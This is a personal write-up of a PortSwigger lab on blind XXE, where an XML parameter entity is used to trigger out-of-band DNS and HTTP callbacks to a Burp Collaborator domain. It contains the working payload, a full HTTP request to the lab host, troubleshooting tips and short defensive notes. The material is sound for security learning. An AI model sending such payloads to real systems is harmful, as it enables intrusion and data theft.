Blind XXE with out-of-band interaction via XML parameter entities
Blind XXE with out-of-band interaction via XML parameter entities: The Check stock endpoint parses XML but: - Doesn’t display unexpected values (blind behavior), and - Blocks regular (general) external entities. • PortSwigger • XXE • in-band, out-of-band
🎯 Objective
The Check stock endpoint parses XML but:
- Doesn’t display unexpected values (blind behavior), and
- Blocks regular (general) external entities.
My goal: leverage a parameter entity (PE) to trigger an out-of-band (OOB) DNS + HTTP interaction with Burp Collaborator.
🧩 What I’m exploiting
- The XML parser still accepts a DOCTYPE and parameter entities even though general entities are blocked.
- When a parameter entity is defined with a remote SYSTEM identifier, the parser will fetch it — causing a DNS lookup and then an HTTP request to my Collaborator domain.
- I don’t need any in-band reflection — the network callback itself proves the issue.
🧭 My path
1) Tried a general entity (blocked)
I first attempted a classic general entity expansion:
]> &xsisec; 1Server response:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 47
"Entities are not allowed for security reasons"As expected, general entities (&entity;) are filtered.
2) Probed parameter entities (promising)
Next, I tested whether parameter entities (%entity;) were allowed by sending a minimal/incomplete probe to see how the parser reacts:
%xsisec;]> 1 1Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 19
"XML parsing error"This is actually useful: it suggests the parser hit the DOCTYPE/PE path (different error), rather than outright blocking entities at the front door.
3) Final working payload (parameter entity → Collaborator callback)
I then sent a well‑formed XML with a DOCTYPE that defines a parameter entity pointing to my Collaborator domain and immediately expands it:
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY % xsisec SYSTEM "http://COLLAB-ID.oastify.net/">
%xsisec;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>- Replace
COLLAB-ID.oastify.netwith your actual Burp Collaborator domain. - If the lab prefers TLS, try
https://COLLAB-ID.oastify.net/(either can work; HTTP is commonly fine).
Why this works: Expanding %xsisec; forces the parser to resolve the external parameter entity, which triggers a DNS lookup and an HTTP GET to the Collaborator server — even though the application never renders entity content.
📤 Full request (example)
POST /product/stock HTTP/1.1
Host: 0af900d704b3257fc06e483b002e009d.web-security-academy.net
Cookie: session=G6WYWaROUjXPLZuNKsqxrLRIRyPlRJO7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0af900d704b3257fc06e483b002e009d.web-security-academy.net/product?productId=1
Content-Type: application/xml
Origin: https://0af900d704b3257fc06e483b002e009d.web-security-academy.net
Connection: close
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY % xsisec SYSTEM "http://COLLAB-ID.oastify.net/">
%xsisec;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>🔎 Verifying in Collaborator
- Open the Collaborator client and you should see:
- A DNS interaction for
COLLAB-ID.oastify.net(parser lookup), and - An HTTP interaction (fetch of the parameter entity).
- A DNS interaction for
- That’s your proof of a blind XXE via parameter entity — lab solved.
🧪 Troubleshooting
- Only DNS, no HTTP? Some parsers perform name resolution without fetching. Make sure your URL ends with a slash (e.g.,
http://id.oastify.net/) and that your target can reach the internet. - Still blocked? Try both
httpandhttps. Remove extra whitespace; keep the DOCTYPE minimal. - No DOCTYPE allowed? Then this specific technique won’t work; you’d pivot to other XXE primitives (not needed here).
🔒 Defense (notes to self)
- Disable external entities and DTDs (
FEATURE_SECURE_PROCESSING, disallow DOCTYPE). - Enforce strict Content-Type allowlist and XML schemas.
- Prefer JSON or hardened XML bindings, and monitor for unexpected outbound requests from the app tier.
These are my notes and the exact payloads I used. The key was parameter entity resolution, not general entities.